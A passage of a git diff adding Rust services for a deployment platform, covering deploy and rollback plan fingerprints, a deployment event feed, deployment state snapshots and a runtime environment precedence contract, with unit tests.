+            selected_apps: selected_apps.iter().map(|app| app.code.clone()).collect(),
+        },
+        has_changes,
+        actions,
+        reasoning,
+        rollback: Some(DeployPlanRollback {
+            requested_target: rollback.requested_target,
+            current_version: rollback.current_version,
+            resolved_version: rollback.resolved_version,
+        }),
+    })
+}
+
+fn select_apps<'a>(
+    state: &'a DeploymentState,
+    requested_app: Option<&str>,
+) -> Result<Vec<&'a DeploymentAppState>, TypedErrorEnvelope> {
+    match requested_app {
+        Some(app_code) => state
+            .apps
+            .iter()
+            .find(|app| app.code == app_code)
+            .map(|app| vec![app])
+            .ok_or_else(|| {
+                TypedErrorEnvelope::invalid_request(format!(
+                    "Requested app '{app_code}' was not found in deployment state"
+                ))
+                .with_context("appCode", app_code)
+            }),
+        None => Ok(state.apps.iter().collect()),
+    }
+}
+
+fn plan_fingerprint(
+    state: &DeploymentState,
+    target: &str,
+    operation: &DeployPlanOperation,
+    selected_apps: &[&DeploymentAppState],
+) -> String {
+    let payload = serde_json::json!({
+        "deploymentHash": state.deployment.deployment_hash,
+        "status": state.deployment.status,
+        "runtime": state.deployment.runtime,
+        "target": target,
+        "operation": operation,
+        "drift": {
+            "hasDrift": state.drift.has_drift,
+            "summary": state.drift.summary,
+        },
+        "apps": selected_apps.iter().map(|app| serde_json::json!({
+            "code": app.code,
+            "configVersion": app.config_version,
+            "vaultSyncVersion": app.vault_sync_version,
+            "configHash": app.config_hash,
+            "enabled": app.enabled,
+        })).collect::<Vec<_>>(),
+    });
+
+    format!("{:x}", Sha256::digest(payload.to_string().as_bytes()))
+}
+
+fn rollback_fingerprint(
+    state: &DeploymentState,
+    target: &str,
+    rollback: &RollbackPlanContext,
+) -> String {
+    let payload = serde_json::json!({
+        "deploymentHash": state.deployment.deployment_hash,
+        "status": state.deployment.status,
+        "runtime": state.deployment.runtime,
+        "target": target,
+        "operation": DeployPlanOperation::RollbackDeploy,
+        "rollback": {
+            "requestedTarget": rollback.requested_target,
+            "currentVersion": rollback.current_version,
+            "resolvedVersion": rollback.resolved_version,
+        },
+        "apps": state.apps.iter().map(|app| serde_json::json!({
+            "code": app.code,
+            "configVersion": app.config_version,
+            "vaultSyncVersion": app.vault_sync_version,
+            "configHash": app.config_hash,
+            "enabled": app.enabled,
+        })).collect::<Vec<_>>(),
+    });
+
+    format!("{:x}", Sha256::digest(payload.to_string().as_bytes()))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::services::{
+        DeploymentAgentFeatures, DeploymentAgentState, DeploymentDriftState,
+        DeploymentProjectState, DeploymentRuntimeState, DeploymentState, DeploymentStateDeployment,
+    };
+
+    fn sample_state() -> DeploymentState {
+        DeploymentState {
+            schema_version: "v1alpha1".to_string(),
+            project: DeploymentProjectState {
+                id: 17,
+                identity: "syncopia".to_string(),
+                name: "syncopia".to_string(),
+            },
+            deployment: DeploymentStateDeployment {
+                id: 31,
+                deployment_hash: "deployment_state_online".to_string(),
+                status: "healthy".to_string(),
+                runtime: "runc".to_string(),
+            },
+            agent: DeploymentAgentState {
+                id: Some("agent-1".to_string()),
+                status: "online".to_string(),
+                version: Some("0.2.8".to_string()),
+                last_heartbeat: None,
+                capabilities: vec!["compose".to_string()],
+                features: DeploymentAgentFeatures {
+                    compose: true,
+                    kata_runtime: false,
+                    backup: false,
+                    pipes: false,
+                    proxy_credentials_vault: false,
+                },
+            },
+            runtime: DeploymentRuntimeState {
+                compose_path: "/home/trydirect/project/docker-compose.yml".to_string(),
+                env_path: "/home/trydirect/project/.env".to_string(),
+            },
+            apps: vec![
+                DeploymentAppState {
+                    code: "device-api".to_string(),
+                    name: "Device API".to_string(),
+                    enabled: true,
+                    config_version: 2,
+                    vault_sync_version: 2,
+                    config_hash: Some("cfg-device-api".to_string()),
+                },
+                DeploymentAppState {
+                    code: "upload".to_string(),
+                    name: "Upload".to_string(),
+                    enabled: true,
+                    config_version: 3,
+                    vault_sync_version: 3,
+                    config_hash: Some("cfg-upload".to_string()),
+                },
+            ],
+            drift: DeploymentDriftState {
+                has_drift: false,
+                summary: "no drift detected".to_string(),
+            },
+            last_command: None,
+        }
+    }
+
+    #[test]
+    fn deploy_plan_snapshot_with_no_changes() {
+        let plan = build_deploy_plan(
+            &sample_state(),
+            DeployPlanOperation::Deploy,
+            "cloud",
+            None,
+            None,
+        )
+        .expect("plan should build");
+
+        assert_eq!(plan.schema_version, DEPLOY_PLAN_SCHEMA_VERSION);
+        assert!(!plan.has_changes);
+        assert!(plan.actions.is_empty());
+        assert_eq!(plan.scope.mode, "deployment");
+    }
+
+    #[test]
+    fn deploy_plan_snapshot_with_env_and_config_drift() {
+        let mut state = sample_state();
+        state.drift.has_drift = true;
+        state.drift.summary = "runtime env drift detected".to_string();
+        state.apps[1].config_version = 4;
+        state.apps[1].vault_sync_version = 3;
+
+        let plan = build_deploy_plan(&state, DeployPlanOperation::Deploy, "cloud", None, None)
+            .expect("plan should build");
+
+        assert!(plan.has_changes);
+        assert!(plan
+            .actions
+            .iter()
+            .any(|action| { matches!(action.kind, DeployPlanActionKind::ReconcileRuntimeEnv) }));
+        assert!(plan.actions.iter().any(|action| {
+            matches!(action.kind, DeployPlanActionKind::SyncAppConfig)
+                && action.app_code.as_deref() == Some("upload")
+        }));
+    }
+
+    #[test]
+    fn deploy_app_plan_targets_single_service() {
+        let plan = build_deploy_plan(
+            &sample_state(),
+            DeployPlanOperation::DeployApp,
+            "cloud",
+            Some("upload"),
+            None,
+        )
+        .expect("plan should build");
+
+        assert!(plan.has_changes);
+        assert_eq!(plan.scope.mode, "app");
+        assert_eq!(plan.scope.app_code.as_deref(), Some("upload"));
+        assert_eq!(plan.scope.selected_apps, vec!["upload".to_string()]);
+        assert!(plan.actions.iter().any(|action| {
+            matches!(action.kind, DeployPlanActionKind::RedeployApp)
+                && action.app_code.as_deref() == Some("upload")
+        }));
+    }
+
+    #[test]
+    fn stale_input_detection_returns_plan_stale_error() {
+        let state = sample_state();
+        let error = build_deploy_plan(
+            &state,
+            DeployPlanOperation::Deploy,
+            "cloud",
+            None,
+            Some("stale-fingerprint"),
+        )
+        .expect_err("stale plan should be rejected");
+
+        assert_eq!(error.code, TypedErrorCode::PlanStale);
+        assert_eq!(
+            error.context.get("expectedFingerprint").map(String::as_str),
+            Some("stale-fingerprint")
+        );
+    }
+
+    #[test]
+    fn rollback_plan_snapshot_targets_resolved_version() {
+        let plan = build_rollback_plan(
+            &sample_state(),
+            "cloud",
+            RollbackPlanContext {
+                requested_target: "previous".to_string(),
+                current_version: "1.2.0".to_string(),
+                resolved_version: "1.1.0".to_string(),
+            },
+            None,
+        )
+        .expect("rollback plan should build");
+
+        assert_eq!(plan.operation, DeployPlanOperation::RollbackDeploy);
+        assert!(plan.has_changes);
+        assert!(plan
+            .actions
+            .iter()
+            .any(|action| matches!(action.kind, DeployPlanActionKind::RollbackDeploy)));
+        assert_eq!(
+            plan.rollback
+                .as_ref()
+                .map(|item| item.resolved_version.as_str()),
+            Some("1.1.0")
+        );
+    }
+}
diff --git a/src/services/deployment_events.rs b/src/services/deployment_events.rs
new file mode 100644
index 00000000..29bef1be
--- /dev/null
+++ b/src/services/deployment_events.rs
@@ -0,0 +1,409 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+use sqlx::types::JsonValue;
+
+use crate::{
+    db,
+    models::{Command, Deployment},
+    services::{TypedErrorEnvelope, TypedRemediationClass},
+};
+
+pub const DEPLOYMENT_EVENTS_SCHEMA_VERSION: &str = "v1alpha1";
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "snake_case")]
+pub enum DeploymentEventKind {
+    DeploymentStatus,
+    CommandQueued,
+    CommandSent,
+    CommandExecuting,
+    CommandCompleted,
+    CommandFailed,
+    CommandCancelled,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "snake_case")]
+pub enum DeploymentEventClassification {
+    Info,
+    Progress,
+    Success,
+    Failure,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentEvent {
+    pub sequence: usize,
+    pub kind: DeploymentEventKind,
+    pub classification: DeploymentEventClassification,
+    pub occurred_at: DateTime<Utc>,
+    pub summary: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub command_id: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub command_type: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub status: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub retryable: Option<bool>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub remediation_class: Option<TypedRemediationClass>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentEventFeed {
+    pub schema_version: String,
+    pub deployment_hash: String,
+    pub events: Vec<DeploymentEvent>,
+}
+
+#[derive(Debug, Clone)]
+struct DeploymentEventDraft {
+    kind: DeploymentEventKind,
+    classification: DeploymentEventClassification,
+    occurred_at: DateTime<Utc>,
+    summary: String,
+    command_id: Option<String>,
+    command_type: Option<String>,
+    status: Option<String>,
+    retryable: Option<bool>,
+    remediation_class: Option<TypedRemediationClass>,
+    order_key: u8,
+}
+
+impl DeploymentEventFeed {
+    pub fn from_parts(deployment: &Deployment, commands: &[Command]) -> Self {
+        let mut drafts = Vec::new();
+
+        if let Some(status_message) = deployment
+            .metadata
+            .get("status_message")
+            .and_then(|value| value.as_str())
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+        {
+            drafts.push(DeploymentEventDraft {
+                kind: DeploymentEventKind::DeploymentStatus,
+                classification: classify_deployment_status(&deployment.status),
+                occurred_at: deployment.updated_at,
+                summary: status_message.to_string(),
+                command_id: None,
+                command_type: None,
+                status: Some(deployment.status.clone()),
+                retryable: None,
+                remediation_class: None,
+                order_key: 2,
+            });
+        }
+
+        for command in commands {
+            drafts.push(DeploymentEventDraft {
+                kind: DeploymentEventKind::CommandQueued,
+                classification: DeploymentEventClassification::Info,
+                occurred_at: command.created_at,
+                summary: format!("{} queued", command.r#type),
+                command_id: Some(command.command_id.clone()),
+                command_type: Some(command.r#type.clone()),
+                status: Some("queued".to_string()),
+                retryable: None,
+                remediation_class: None,
+                order_key: 0,
+            });
+
+            if command.status != "queued" {
+                let (kind, classification, order_key) = classify_command_status(&command.status);
+                let (summary, retryable, remediation_class) =
+                    summarize_command_outcome(command, &kind, &classification);
+
+                drafts.push(DeploymentEventDraft {
+                    kind,
+                    classification,
+                    occurred_at: command.updated_at,
+                    summary,
+                    command_id: Some(command.command_id.clone()),
+                    command_type: Some(command.r#type.clone()),
+                    status: Some(command.status.clone()),
+                    retryable,
+                    remediation_class,
+                    order_key,
+                });
+            }
+        }
+
+        drafts.sort_by(|left, right| {
+            left.occurred_at
+                .cmp(&right.occurred_at)
+                .then_with(|| left.order_key.cmp(&right.order_key))
+                .then_with(|| left.command_id.cmp(&right.command_id))
+                .then_with(|| left.summary.cmp(&right.summary))
+        });
+
+        let events = drafts
+            .into_iter()
+            .enumerate()
+            .map(|(index, draft)| DeploymentEvent {
+                sequence: index + 1,
+                kind: draft.kind,
+                classification: draft.classification,
+                occurred_at: draft.occurred_at,
+                summary: draft.summary,
+                command_id: draft.command_id,
+                command_type: draft.command_type,
+                status: draft.status,
+                retryable: draft.retryable,
+                remediation_class: draft.remediation_class,
+            })
+            .collect();
+
+        Self {
+            schema_version: DEPLOYMENT_EVENTS_SCHEMA_VERSION.to_string(),
+            deployment_hash: deployment.deployment_hash.clone(),
+            events,
+        }
+    }
+
+    pub async fn for_deployment_hash(
+        pool: &sqlx::PgPool,
+        deployment_hash: &str,
+    ) -> Result<Option<Self>, String> {
+        let deployment =
+            match db::deployment::fetch_by_deployment_hash(pool, deployment_hash).await? {
+                Some(item) => item,
+                None => return Ok(None),
+            };
+        let commands = db::command::fetch_by_deployment(pool, deployment_hash).await?;
+        Ok(Some(Self::from_parts(&deployment, &commands)))
+    }
+}
+
+fn classify_deployment_status(status: &str) -> DeploymentEventClassification {
+    match status {
+        "healthy" | "completed" | "active" => DeploymentEventClassification::Success,
+        "failed" | "error" | "deploy_failed" => DeploymentEventClassification::Failure,
+        _ => DeploymentEventClassification::Progress,
+    }
+}
+
+fn classify_command_status(
+    status: &str,
+) -> (DeploymentEventKind, DeploymentEventClassification, u8) {
+    match status {
+        "sent" => (
+            DeploymentEventKind::CommandSent,
+            DeploymentEventClassification::Progress,
+            1,
+        ),
+        "executing" => (
+            DeploymentEventKind::CommandExecuting,
+            DeploymentEventClassification::Progress,
+            2,
+        ),
+        "completed" => (
+            DeploymentEventKind::CommandCompleted,
+            DeploymentEventClassification::Success,
+            3,
+        ),
+        "failed" => (
+            DeploymentEventKind::CommandFailed,
+            DeploymentEventClassification::Failure,
+            3,
+        ),
+        "cancelled" => (
+            DeploymentEventKind::CommandCancelled,
+            DeploymentEventClassification::Failure,
+            3,
+        ),
+        _ => (
+            DeploymentEventKind::CommandQueued,
+            DeploymentEventClassification::Info,
+            0,
+        ),
+    }
+}
+
+fn summarize_command_outcome(
+    command: &Command,
+    kind: &DeploymentEventKind,
+    classification: &DeploymentEventClassification,
+) -> (String, Option<bool>, Option<TypedRemediationClass>) {
+    match kind {
+        DeploymentEventKind::CommandSent => {
+            (format!("{} sent to agent", command.r#type), None, None)
+        }
+        DeploymentEventKind::CommandExecuting => {
+            (format!("{} executing", command.r#type), None, None)
+        }
+        DeploymentEventKind::CommandCompleted => (
+            extract_message(command.result.as_ref())
+                .unwrap_or_else(|| format!("{} completed", command.r#type)),
+            None,
+            None,
+        ),
+        DeploymentEventKind::CommandFailed | DeploymentEventKind::CommandCancelled => {
+            if let Some(error) = parse_typed_error(command.error.as_ref()) {
+                return (
+                    error.message,
+                    Some(error.retryable),
+                    Some(error.remediation_class),
+                );
+            }
+
+            (
+                extract_message(command.error.as_ref()).unwrap_or_else(|| {
+                    format!(
+                        "{} {}",
+                        command.r#type,
+                        match classification {
+                            DeploymentEventClassification::Failure => "failed",
+                            _ => "ended",
+                        }
+                    )
+                }),
+                Some(false),
+                Some(TypedRemediationClass::State),
+            )
+        }
+        _ => (format!("{} queued", command.r#type), None, None),
+    }
+}
+
+fn extract_message(value: Option<&JsonValue>) -> Option<String> {
+    let value = value?;
+    if let Some(message) = value.get("message").and_then(|item| item.as_str()) {
+        return Some(message.to_string());
+    }
+    if let Some(status) = value.get("status").and_then(|item| item.as_str()) {
+        return Some(status.to_string());
+    }
+    if let Some(errors) = value.get("errors").and_then(|item| item.as_array()) {
+        if let Some(message) = errors
+            .iter()
+            .find_map(|entry| entry.get("message").and_then(|item| item.as_str()))
+        {
+            return Some(message.to_string());
+        }
+    }
+    value.as_str().map(ToOwned::to_owned)
+}
+
+fn parse_typed_error(value: Option<&JsonValue>) -> Option<TypedErrorEnvelope> {
+    serde_json::from_value(value?.clone()).ok()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::models::{Command, Deployment};
+    use serde_json::json;
+
+    fn sample_deployment() -> Deployment {
+        let mut deployment = Deployment::new(
+            17,
+            Some("user-a".to_string()),
+            "deployment_events_online".to_string(),
+            "in_progress".to_string(),
+            "runc".to_string(),
+            json!({
+                "status_message": "Provisioning server"
+            }),
+        );
+        deployment.updated_at = DateTime::parse_from_rfc3339("2026-05-17T08:02:00Z")
+            .unwrap()
+            .with_timezone(&Utc);
+        deployment
+    }
+
+    fn sample_command(
+        command_id: &str,
+        status: &str,
+        created_at: &str,
+        updated_at: &str,
+    ) -> Command {
+        let mut command = Command::new(
+            command_id.to_string(),
+            "deployment_events_online".to_string(),
+            "deploy_app".to_string(),
+            "user-a".to_string(),
+        );
+        command.status = status.to_string();
+        command.created_at = DateTime::parse_from_rfc3339(created_at)
+            .unwrap()
+            .with_timezone(&Utc);
+        command.updated_at = DateTime::parse_from_rfc3339(updated_at)
+            .unwrap()
+            .with_timezone(&Utc);
+        command
+    }
+
+    #[test]
+    fn serializes_event_feed() {
+        let feed = DeploymentEventFeed::from_parts(
+            &sample_deployment(),
+            &[sample_command(
+                "cmd-1",
+                "completed",
+                "2026-05-17T08:00:00Z",
+                "2026-05-17T08:05:00Z",
+            )],
+        );
+
+        let json = serde_json::to_value(&feed).expect("event feed should serialize");
+        assert_eq!(
+            json["schemaVersion"].as_str().unwrap(),
+            DEPLOYMENT_EVENTS_SCHEMA_VERSION
+        );
+        assert!(json["events"].as_array().unwrap().len() >= 2);
+    }
+
+    #[test]
+    fn orders_events_by_time_then_phase() {
+        let feed = DeploymentEventFeed::from_parts(
+            &sample_deployment(),
+            &[sample_command(
+                "cmd-1",
+                "executing",
+                "2026-05-17T08:00:00Z",
+                "2026-05-17T08:01:00Z",
+            )],
+        );
+
+        assert_eq!(feed.events[0].kind, DeploymentEventKind::CommandQueued);
+        assert_eq!(feed.events[1].kind, DeploymentEventKind::CommandExecuting);
+        assert_eq!(feed.events[2].kind, DeploymentEventKind::DeploymentStatus);
+    }
+
+    #[test]
+    fn classifies_failure_events_from_typed_errors() {
+        let mut command = sample_command(
+            "cmd-1",
+            "failed",
+            "2026-05-17T08:00:00Z",
+            "2026-05-17T08:03:00Z",
+        );
+        command.error = Some(
+            serde_json::to_value(TypedErrorEnvelope::deployment_capability_missing(
+                "Agent cannot run rollback",
+            ))
+            .unwrap(),
+        );
+
+        let feed = DeploymentEventFeed::from_parts(&sample_deployment(), &[command]);
+        let failure = feed
+            .events
+            .iter()
+            .find(|event| event.kind == DeploymentEventKind::CommandFailed)
+            .expect("failed event should exist");
+
+        assert_eq!(
+            failure.classification,
+            DeploymentEventClassification::Failure
+        );
+        assert_eq!(failure.retryable, Some(false));
+        assert_eq!(
+            failure.remediation_class,
+            Some(TypedRemediationClass::Capability)
+        );
+    }
+}
diff --git a/src/services/deployment_state.rs b/src/services/deployment_state.rs
new file mode 100644
index 00000000..79acb663
--- /dev/null
+++ b/src/services/deployment_state.rs
@@ -0,0 +1,315 @@
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+
+use crate::{
+    db,
+    helpers::{
+        extract_capabilities, has_capability, has_capability_value, remote_runtime_compose_path,
+        remote_runtime_env_path, NPM_CREDENTIAL_SOURCE_KEY,
+    },
+    models::{Agent, Command, Deployment, Project, ProjectApp},
+};
+
+pub const DEPLOYMENT_STATE_SCHEMA_VERSION: &str = "v1alpha1";
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentState {
+    pub schema_version: String,
+    pub project: DeploymentProjectState,
+    pub deployment: DeploymentStateDeployment,
+    pub agent: DeploymentAgentState,
+    pub runtime: DeploymentRuntimeState,
+    pub apps: Vec<DeploymentAppState>,
+    pub drift: DeploymentDriftState,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub last_command: Option<DeploymentLastCommandState>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentProjectState {
+    pub id: i32,
+    pub identity: String,
+    pub name: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentStateDeployment {
+    pub id: i32,
+    pub deployment_hash: String,
+    pub status: String,
+    pub runtime: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentAgentState {
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub id: Option<String>,
+    pub status: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub version: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub last_heartbeat: Option<DateTime<Utc>>,
+    pub capabilities: Vec<String>,
+    pub features: DeploymentAgentFeatures,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentAgentFeatures {
+    pub compose: bool,
+    pub kata_runtime: bool,
+    pub backup: bool,
+    pub pipes: bool,
+    pub proxy_credentials_vault: bool,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentRuntimeState {
+    pub compose_path: String,
+    pub env_path: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentAppState {
+    pub code: String,
+    pub name: String,
+    pub enabled: bool,
+    pub config_version: i32,
+    pub vault_sync_version: i32,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub config_hash: Option<String>,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentDriftState {
+    pub has_drift: bool,
+    pub summary: String,
+}
+
+#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)]
+#[serde(rename_all = "camelCase")]
+pub struct DeploymentLastCommandState {
+    pub r#type: String,
+    pub status: String,
+    pub finished_at: DateTime<Utc>,
+}
+
+impl DeploymentState {
+    pub fn from_parts(
+        project: &Project,
+        deployment: &Deployment,
+        agent: Option<&Agent>,
+        apps: &[ProjectApp],
+        last_command: Option<&Command>,
+    ) -> Self {
+        let capabilities = agent
+            .map(|item| extract_capabilities(item.capabilities.clone()))
+            .unwrap_or_default();
+
+        let features = DeploymentAgentFeatures {
+            compose: has_capability(&capabilities, "compose"),
+            kata_runtime: has_capability(&capabilities, "kata"),
+            backup: has_capability(&capabilities, "backup"),
+            pipes: has_capability(&capabilities, "pipes"),
+            proxy_credentials_vault: has_capability_value(
+                &capabilities,
+                NPM_CREDENTIAL_SOURCE_KEY,
+                "vault",
+            ),
+        };
+
+        let apps = apps
+            .iter()
+            .map(|app| DeploymentAppState {
+                code: app.code.clone(),
+                name: app.name.clone(),
+                enabled: app.enabled.unwrap_or(true),
+                config_version: app.config_version.unwrap_or(0),
+                vault_sync_version: app.vault_sync_version.unwrap_or(0),
+                config_hash: app.config_hash.clone(),
+            })
+            .collect();
+
+        Self {
+            schema_version: DEPLOYMENT_STATE_SCHEMA_VERSION.to_string(),
+            project: DeploymentProjectState {
+                id: project.id,
+                identity: project
+                    .metadata
+                    .get("identity")
+                    .and_then(|value| value.as_str())
+                    .unwrap_or(&project.name)
+                    .to_string(),
+                name: project.name.clone(),
+            },
+            deployment: DeploymentStateDeployment {
+                id: deployment.id,
+                deployment_hash: deployment.deployment_hash.clone(),
+                status: deployment.status.clone(),
+                runtime: deployment.runtime.clone(),
+            },
+            agent: DeploymentAgentState {
+                id: agent.map(|item| item.id.to_string()),
+                status: agent
+                    .map(|item| item.status.clone())
+                    .unwrap_or_else(|| "offline".to_string()),
+                version: agent.and_then(|item| item.version.clone()),
+                last_heartbeat: agent.and_then(|item| item.last_heartbeat),
+                capabilities,
+                features,
+            },
+            runtime: DeploymentRuntimeState {
+                compose_path: remote_runtime_compose_path().to_string(),
+                env_path: remote_runtime_env_path().to_string(),
+            },
+            apps,
+            drift: DeploymentDriftState {
+                has_drift: false,
+                summary: "no drift detected".to_string(),
+            },
+            last_command: last_command.map(|command| DeploymentLastCommandState {
+                r#type: command.r#type.clone(),
+                status: command.status.clone(),
+                finished_at: command.updated_at,
+            }),
+        }
+    }
+
+    pub async fn for_deployment_hash(
+        pool: &sqlx::PgPool,
+        deployment_hash: &str,
+    ) -> Result<Option<Self>, String> {
+        let deployment =
+            match db::deployment::fetch_by_deployment_hash(pool, deployment_hash).await? {
+                Some(item) => item,
+                None => return Ok(None),
+            };
+
+        let project = db::project::fetch(pool, deployment.project_id)
+            .await?
+            .ok_or_else(|| "Project not found for deployment".to_string())?;
+        let agent = db::agent::fetch_by_deployment_hash(pool, deployment_hash).await?;
+        let apps = db::project_app::fetch_by_deployment(pool, project.id, deployment.id).await?;
+        let last_command = db::command::fetch_recent_by_deployment(pool, deployment_hash, 1, true)
+            .await?
+            .into_iter()
+            .next();
+
+        Ok(Some(Self::from_parts(
+            &project,
+            &deployment,
+            agent.as_ref(),
+            &apps,
+            last_command.as_ref(),
+        )))
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::models::{Agent, Command, Deployment, Project, ProjectApp};
+    use serde_json::json;
+
+    fn sample_project() -> Project {
+        let mut project = Project::new(
+            "user-a".to_string(),
+            "syncopia".to_string(),
+            json!({ "identity": "syncopia" }),
+            json!({}),
+        );
+        project.id = 17;
+        project.metadata = json!({ "identity": "syncopia" });
+        project
+    }
+
+    fn sample_deployment(hash: &str, status: &str) -> Deployment {
+        let mut deployment = Deployment::new(
+            17,
+            Some("user-a".to_string()),
+            hash.to_string(),
+            status.to_string(),
+            "runc".to_string(),
+            json!({}),
+        );
+        deployment.id = 31;
+        deployment
+    }
+
+    fn sample_app(code: &str, name: &str, config_version: i32, sync_version: i32) -> ProjectApp {
+        let mut app = ProjectApp::new(
+            17,
+            code.to_string(),
+            name.to_string(),
+            format!("{code}:latest"),
+        );
+        app.config_version = Some(config_version);
+        app.vault_sync_version = Some(sync_version);
+        app.config_hash = Some(format!("cfg-{code}"));
+        app
+    }
+
+    #[test]
+    fn serializes_online_state() {
+        let mut agent = Agent::new("deployment_state_online".to_string());
+        agent.mark_online();
+        agent.version = Some("0.1.9".to_string());
+        agent.capabilities = Some(json!([
+            "docker",
+            "compose",
+            "logs",
+            "npm_credential_source=vault"
+        ]));
+
+        let state = DeploymentState::from_parts(
+            &sample_project(),
+            &sample_deployment("deployment_state_online", "healthy"),
+            Some(&agent),
+            &[
+                sample_app("device-api", "Device API", 3, 3),
+                sample_app("upload", "Upload", 2, 2),
+            ],
+            Some(
+                &Command::new(
+                    "cmd-1".to_string(),
+                    "deployment_state_online".to_string(),
+                    "deploy_app".to_string(),
+                    "user-a".to_string(),
+                )
+                .mark_completed(),
+            ),
+        );
+
+        let json = serde_json::to_value(&state).expect("state should serialize");
+        assert_eq!(json["schemaVersion"], DEPLOYMENT_STATE_SCHEMA_VERSION);
+        assert_eq!(
+            json["deployment"]["deploymentHash"],
+            "deployment_state_online"
+        );
+        assert_eq!(json["agent"]["status"], "online");
+        assert_eq!(json["apps"].as_array().unwrap().len(), 2);
+    }
+
+    #[test]
+    fn offline_state_omits_optional_agent_fields() {
+        let state = DeploymentState::from_parts(
+            &sample_project(),
+            &sample_deployment("deployment_state_offline", "pending"),
+            None,
+            &[],
+            None,
+        );
+
+        let json = serde_json::to_value(&state).expect("state should serialize");
+        assert_eq!(json["agent"]["status"], "offline");
+        assert!(json["agent"].get("id").is_none());
+        assert!(json.get("lastCommand").is_none());
+    }
+}
diff --git a/src/services/env_contract.rs b/src/services/env_contract.rs
new file mode 100644
index 00000000..c6abed3b
--- /dev/null
+++ b/src/services/env_contract.rs
@@ -0,0 +1,96 @@
+use serde::Serialize;
+
+pub const RUNTIME_ENV_CONTRACT_VERSION: &str = "v1";
+pub const RUNTIME_ENV_PRECEDENCE_ORDER: &str = "lowest_to_highest";
+
+pub const RUNTIME_ENV_LAYER_BASE: &str = "base";
+pub const RUNTIME_ENV_LAYER_SERVER: &str = "server";
+pub const RUNTIME_ENV_LAYER_SERVICE: &str = "service";
+pub const RUNTIME_ENV_LAYER_COMPOSE: &str = "compose";
+
+#[derive(Debug, Clone, Copy, Serialize, PartialEq, Eq)]
+pub struct RuntimeEnvLayerContract {
+    pub name: &'static str,
+    pub precedence: u8,
+    #[serde(rename = "appliesWhen")]
+    pub applies_when: &'static str,
+    pub description: &'static str,
+}
+
+pub const RUNTIME_ENV_LAYER_CONTRACTS: [RuntimeEnvLayerContract; 4] = [
+    RuntimeEnvLayerContract {
+        name: RUNTIME_ENV_LAYER_BASE,
+        precedence: 1,
+        applies_when: "Always",
+        description: "App env and local authoring inputs provide the base runtime layer.",
+    },
+    RuntimeEnvLayerContract {
+        name: RUNTIME_ENV_LAYER_SERVER,
+        precedence: 2,
+        applies_when: "Only when inherit_server_secrets=true",
+        description: "Server-scope secrets overlay the base layer when the target opts in.",
+    },
+    RuntimeEnvLayerContract {
+        name: RUNTIME_ENV_LAYER_SERVICE,
+        precedence: 3,
+        applies_when: "When remote service secrets exist for the selected service/app target",
+        description: "Service-scope secrets override lower layers for the selected target.",
+    },
+    RuntimeEnvLayerContract {
+        name: RUNTIME_ENV_LAYER_COMPOSE,
+        precedence: 4,
+        applies_when: "When the compose service defines environment: keys",
+        description: "Compose environment keys win over env_file-derived layers at runtime.",
+    },
+];
+
+#[derive(Debug, Clone, Serialize, PartialEq, Eq)]
+pub struct RuntimeEnvContractResponse {
+    pub version: &'static str,
+    pub order: &'static str,
+    pub layers: Vec<RuntimeEnvLayerContract>,
+}
+
+pub fn runtime_env_contract_response() -> RuntimeEnvContractResponse {
+    RuntimeEnvContractResponse {
+        version: RUNTIME_ENV_CONTRACT_VERSION,
+        order: RUNTIME_ENV_PRECEDENCE_ORDER,
+        layers: RUNTIME_ENV_LAYER_CONTRACTS.to_vec(),
+    }
+}
+
+pub fn runtime_env_layer_names() -> Vec<&'static str> {
+    RUNTIME_ENV_LAYER_CONTRACTS
+        .iter()
+        .map(|layer| layer.name)
+        .collect()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::{
+        runtime_env_contract_response, runtime_env_layer_names, RUNTIME_ENV_CONTRACT_VERSION,
+        RUNTIME_ENV_LAYER_BASE, RUNTIME_ENV_LAYER_COMPOSE, RUNTIME_ENV_LAYER_SERVER,
+        RUNTIME_ENV_LAYER_SERVICE, RUNTIME_ENV_PRECEDENCE_ORDER,
